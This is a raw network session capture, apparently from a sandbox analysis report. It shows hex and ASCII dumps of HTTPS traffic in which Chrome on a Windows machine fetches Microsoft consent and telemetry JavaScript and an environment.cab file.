2024-11-19 18:14:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 0eb4ed50-6c79-43da-b7be-2853b4fa6417 MS-RequestId: dc71df8e-5cb8-45c8-9e5a-6cb21e3d6dce MS-CV: kr6SaefjU0e0XGhM.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 19 Nov 2024 18:14:19 GMT Connection: close Content-Length: 24490
2024-11-19 18:14:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-19 18:14:20 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49759	13.107.246.45	443	1704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:14:30 UTC	551	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 18:14:30 UTC	713	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:14:30 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 40136 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 99ec4840-d01e-005d-1851-3a2a1e000000 x-ms-version: 2009-09-19 x-azure-ref: 20241119T181430Z-185f5d8b95c4bhwphC1NYCs8gw00000009ag000000000kc2 Accept-Ranges: bytes
2024-11-19 18:14:30 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-11-19 18:14:30 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-11-19 18:14:30 UTC	713	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-11-19 18:14:30 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 7d 2c 65 7d 28 29 2c 64 3d 5b 22 61 72 22 2c 22 68 65 22 2c 22 70 73 22 2c 22 75 72 22 2c 22 66 61 22 2c 22 70 61 22 2c 22 73 64 22 2c 22 74 6b 22 2c 22 75 67 22 2c 22 79 69 22 2c 22 73 79 72 22 2c 22 6b 73 2d 61 72 61 62 22 5d 2c 75 3d 7b 22 63 6c 6f 73 65 2d 62 75 74 74 6f 6e 2d 63 6f 6c 6f 72 22 3a 22 23 36 36 36 36 36 36 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 2d 6f 70 61 63 69 74 79 22 3a 22 31 22 2c 22 73 65 63 6f 6e 64 61 72 79 2d 62 75 74 74 6f 6e 2d Data Ascii: background-color: "+e["radio-button-disabled-color"]+" !important;\n }"},e}(),d=["ar","he","ps","ur","fa","pa","sd","tk","ug","yi","syr","ks-arab"],u={"close-button-color":"#666666","secondary-button-disabled-opacity":"1","secondary-button-
2024-11-19 18:14:30 UTC	3565	IN	Data Raw: 2d 22 29 5b 30 5d 3b 6f 3d 65 2e 73 70 6c 69 74 28 22 2d 22 29 5b 30 5d 3d 3d 3d 6e 7d 72 65 74 75 72 6e 20 6f 7d 28 65 2c 63 29 7d 29 29 3b 73 26 26 30 3d 3d 3d 73 2e 6c 65 6e 67 74 68 26 26 28 65 3d 22 65 6e 2d 55 53 22 29 2c 6f 2e 70 6c 61 63 65 68 6f 6c 64 65 72 45 6c 65 6d 65 6e 74 3d 6c 2c 72 26 26 6f 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 64 43 61 6c 6c 62 61 63 6b 73 2e 72 65 67 69 73 74 65 72 43 61 6c 6c 62 61 63 6b 28 72 29 2c 6f 2e 73 61 76 65 43 6f 6f 6b 69 65 28 29 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 3d 6e 65 77 20 66 28 21 31 29 2c 6e 75 6c 6c 3d 3d 6e 7c 7c 6e 28 76 6f 69 64 20 30 2c 6f 2e 73 69 74 65 43 6f 6e 73 65 6e 74 29 2c 6f 2e 69 73 49 6e 69 74 52 65 61 64 79 3d 21 30 2c 74 68 69 73 2e 63 6f 6e 73 65 6e 74 43 68 61 6e 67 65 Data Ascii: -")[0];o=e.split("-")[0]===n}return o}(e,c)}));s&&0===s.length&&(e="en-US"),o.placeholderElement=l,r&&o.consentChangedCallbacks.registerCallback(r),o.saveCookie(),o.siteConsent=new f(!1),null==n\|\|n(void 0,o.siteConsent),o.isInitReady=!0,this.consentChange

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49758	13.107.246.45	443	1704	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:14:30 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 18:14:30 UTC	889	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:14:30 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241119T181430Z-r1d97b9957747b9jhC1TEBgyec00000007rg00000000qh6d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 18:14:30 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-19 18:14:30 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-11-19 18:14:30 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
2024-11-19 18:14:30 UTC	16384	IN	Data Raw: 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 61 2e 66 6c 75 73 68 43 6f 6d 70 6c 65 74 65 3d 65 2c 50 3d 21 30 2c 52 2e 72 75 6e 28 6f 2c 61 29 2c 66 5b 67 72 5d 28 29 2c 6f 5b 6c 72 5d 28 61 29 7d 2c 36 2c 6e 29 2c 69 7d 2c 66 5b 6f 72 5d 3d 73 2c 66 2e 61 64 64 50 6c 75 67 69 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 6f 75 29 3b 76 61 72 20 69 3d 73 28 65 5b 24 6e 5d 29 3b 69 66 28 69 26 26 21 74 29 72 65 74 75 72 6e 20 72 26 26 72 28 21 31 29 2c 76 6f 69 64 20 43 28 22 50 6c 75 67 69 6e 20 5b 22 2b 65 5b 24 6e 5d 2b 22 5d 20 69 73 20 61 6c 72 65 61 64 79 20 6c 6f 61 64 65 64 21 22 29 3b 76 61 72 20 61 2c 6f 3d 7b 72 65 61 73 6f 6e 3a 31 36 7d 3b 66 Data Ascii: (e,function(e){a.flushComplete=e,P=!0,R.run(o,a),f[gr](),o[lr](a)},6,n),i},f[or]=s,f.addPlugin=function(e,t,n,r){if(!e)return r&&r(!1),void C(ou);var i=s(e[$n]);if(i&&!t)return r&&r(!1),void C("Plugin ["+e[$n]+"] is already loaded!");var a,o={reason:16};f
2024-11-19 18:14:30 UTC	16384	IN	Data Raw: 6c 3a 31 2c 43 72 69 74 69 63 61 6c 3a 32 7d 29 2c 75 6e 64 65 66 69 6e 65 64 2c 75 6e 64 65 66 69 6e 65 64 29 2c 53 6c 3d 22 22 3b 66 75 6e 63 74 69 6f 6e 20 78 6c 28 65 29 7b 74 72 79 7b 69 66 28 6f 65 28 6f 74 28 29 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 28 6e 65 77 20 44 61 74 65 29 5b 4f 73 5d 28 29 2c 6e 3d 66 65 28 65 3d 3d 3d 45 6c 2e 4c 6f 63 61 6c 53 74 6f 72 61 67 65 3f 22 6c 6f 63 61 6c 53 74 6f 72 61 67 65 22 3a 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 29 2c 72 3d 53 6c 2b 74 2c 69 3d 28 6e 2e 73 65 74 49 74 65 6d 28 72 2c 74 29 2c 6e 2e 67 65 74 49 74 65 6d 28 72 29 21 3d 3d 74 29 3b 69 66 28 6e 5b 52 73 5d 28 72 29 2c 21 69 29 72 65 74 75 72 6e 20 6e 7d 63 61 74 63 68 28 61 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: l:1,Critical:2}),undefined,undefined),Sl="";function xl(e){try{if(oe(ot()))return null;var t=(new Date)[Os](),n=fe(e===El.LocalStorage?"localStorage":"sessionStorage"),r=Sl+t,i=(n.setItem(r,t),n.getItem(r)!==t);if(n[Rs](r),!i)return n}catch(a){}return nul
2024-11-19 18:14:30 UTC	16384	IN	Data Raw: 6f 20 74 72 61 63 6b 20 70 61 67 65 20 76 69 73 69 74 20 74 69 6d 65 20 66 61 69 6c 65 64 2c 20 6d 65 74 72 69 63 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 63 65 28 72 29 29 7d 7d 2c 59 28 65 2c 22 5f 6c 6f 67 67 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 2c 59 28 65 2c 22 70 61 67 65 56 69 73 69 74 54 69 6d 65 54 72 61 63 6b 69 6e 67 48 61 6e 64 6c 65 72 22 2c 7b 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 7d 7d 29 7d 29 7d 76 61 72 20 4e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 5b 67 64 5d 3d 50 74 28 29 2c 74 68 69 73 2e 70 61 67 65 4e 61 6d 65 3d 65 2c 74 68 69 73 2e 70 61 67 65 55 72 6c 3d 74 7d 2c 44 64 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: o track page visit time failed, metric will not be collected: "+ce(r))}},Y(e,"_logger",{g:function(){return o}}),Y(e,"pageVisitTimeTrackingHandler",{g:function(){return c}})})}var Nd=function(e,t){this[gd]=Pt(),this.pageName=e,this.pageUrl=t},Dd=function(
2024-11-19 18:14:30 UTC	16384	IN	Data Raw: 63 6f 72 65 44 61 74 61 2c 22 62 65 68 61 76 69 6f 72 22 29 2c 75 65 28 6e 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 6e 2e 70 61 67 65 54 79 70 65 29 2c 75 65 28 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 26 26 21 75 65 28 65 2e 70 61 67 65 54 79 70 65 29 26 26 28 65 2e 70 61 67 65 54 79 70 65 3d 72 2e 5f 70 61 67 65 54 79 70 65 4d 65 74 61 54 61 67 29 2c 75 65 28 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 26 26 28 65 2e 6d 61 72 6b 65 74 3d 72 2e 5f 6d 61 72 6b 65 74 4d 65 74 61 54 61 67 29 2c 65 2e 69 73 4c 6f 67 67 65 64 49 6e 3d 47 64 28 72 2e 5f 63 6f 6e 66 69 67 29 2c 74 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 3d 6f 63 28 29 7d 2c 69 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 73 65 74 50 61 67 65 54 Data Ascii: coreData,"behavior"),ue(n.pageType)&&(e.pageType=n.pageType),ue(r._pageTypeMetaTag)&&!ue(e.pageType)&&(e.pageType=r._pageTypeMetaTag),ue(r._marketMetaTag)&&(e.market=r._marketMetaTag),e.isLoggedIn=Gd(r._config),t.cookieEnabled=oc()},ip.prototype._setPageT
2024-11-19 18:14:30 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-11-19 18:14:30 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-11-19 18:14:30 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 